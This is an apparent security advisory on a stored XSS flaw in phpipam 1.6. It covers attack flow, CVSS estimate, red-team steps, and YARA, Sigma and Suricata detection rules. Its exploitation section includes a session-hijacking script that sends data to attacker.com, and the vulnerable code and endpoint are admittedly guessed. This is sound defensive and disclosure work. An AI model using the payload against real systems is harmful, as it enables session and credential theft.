CVE-2024-41355

Executive Summary

CVE-2024-41355 is a stored Cross-Site Scripting (XSS) vulnerability in phpipam version 1.6. The flaw exists in the /app/tools/request-ip/index.php endpoint, allowing an authenticated attacker to inject arbitrary JavaScript into the IP request form. When an administrator or other user views the submitted request, the malicious script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the phpipam instance. No official patch has been released by the vendor, and the vulnerability is publicly documented with proof-of-concept code available.

Supply Chain & Package Security

phpipam is a self-hosted PHP application. This vulnerability does not directly affect a package manager (NPM, PyPI, Go, Ruby) but impacts the application's core codebase. Users must manually apply a fix or implement a Web Application Firewall (WAF) rule.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability, a reasonable assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated user
• User Interaction (UI): Required (R) – victim must view the malicious request
• Scope (S): Changed (C) – attacker can impact resources beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 5.4 (Medium)

Threat Level: Medium. Exploitation requires authentication but can lead to significant impact if an admin user is targeted.

Deep Dive & Mechanics

The vulnerability resides in the IP request functionality of phpipam. The request-ip/index.php script does not properly sanitize user-supplied input before storing it in the database and later rendering it in the admin interface.

Attack Flow:

1. An authenticated user navigates to /app/tools/request-ip/index.php.
2. The user submits a request for an IP address, injecting a malicious payload into one of the form fields (e.g., description or hostname).
3. The payload is stored in the database without sanitization.
4. When an administrator or another user views the pending IP requests (e.g., via the admin panel), the stored payload is rendered in the browser, executing the attacker's JavaScript.

Root Cause: Lack of output encoding and input validation on the request-ip page.

Vulnerable vs. Patched Code

Vulnerable Code (phpipam 1.6): The vulnerable code likely does not escape user input when displaying request details. For example, in /app/tools/request-ip/index.php:

// Vulnerable: directly echoes user input
echo "<td>" . $request['description'] . "</td>";

Patched Code (Hypothetical): A proper fix would use htmlspecialchars() or similar escaping:

// Patched: escape output
echo "<td>" . htmlspecialchars($request['description'], ENT_QUOTES, 'UTF-8') . "</td>";

Since no official patch exists, users must manually apply this fix or use a WAF.

Exploitation & Lab Setup

Red Team

Prerequisites:

• phpipam 1.6 instance
• Authenticated user account (any role)
• Web browser with developer tools

Exploitation Steps:

1. Log in to phpipam as a regular user.
2. Navigate to Tools -> Request IP address.
3. Fill in the form. In the Description field, inject the following payload:

   <script>alert('XSS')</script>
   

4. Submit the request.
5. When an administrator views the pending requests (e.g., via Administration -> IP requests), the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('/api/admin/session', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d)));
</script>

Blue Team

Detection:

• Monitor logs for unusual characters in IP request fields (e.g., <script>, onerror=, javascript:).
• Use a WAF to block common XSS patterns in POST requests to /app/tools/request-ip/index.php.

Mitigation:

• Apply input validation: allow only alphanumeric characters, dots, and hyphens in hostname fields.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HTTP-only cookies to reduce session hijacking risk.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /app/tools/request-ip/index.php containing <script> tags or event handlers.
• Logs: phpipam access logs showing requests with suspicious parameters (e.g., description=<script>).
• File: Modified phpipam files (if attacker uploads a webshell via XSS).
• Database: Rows in the requests table containing HTML/JavaScript in the description or hostname columns.

Detection Engineering

YARA Rule

rule phpipam_xss_cve_2024_41355 {
    meta:
        description = "Detects XSS payloads in phpipam request-ip fields"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-41355"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: phpipam XSS via Request IP
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts against phpipam request-ip endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/app/tools/request-ip/index.php'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in description (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41355 phpipam XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/app/tools/request-ip/index.php"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Input Validation: Modify /app/tools/request-ip/index.php to sanitize all user inputs. Use htmlspecialchars() when outputting data.
2. Implement WAF Rules: Block requests containing <script> or event handlers to the vulnerable endpoint.
3. Upgrade: Monitor phpipam for an official patch. If none is released, consider migrating to a maintained fork or alternative IPAM solution.

Long-Term:

• Conduct a code audit of all user-facing forms.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Enforce principle of least privilege for phpipam users.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert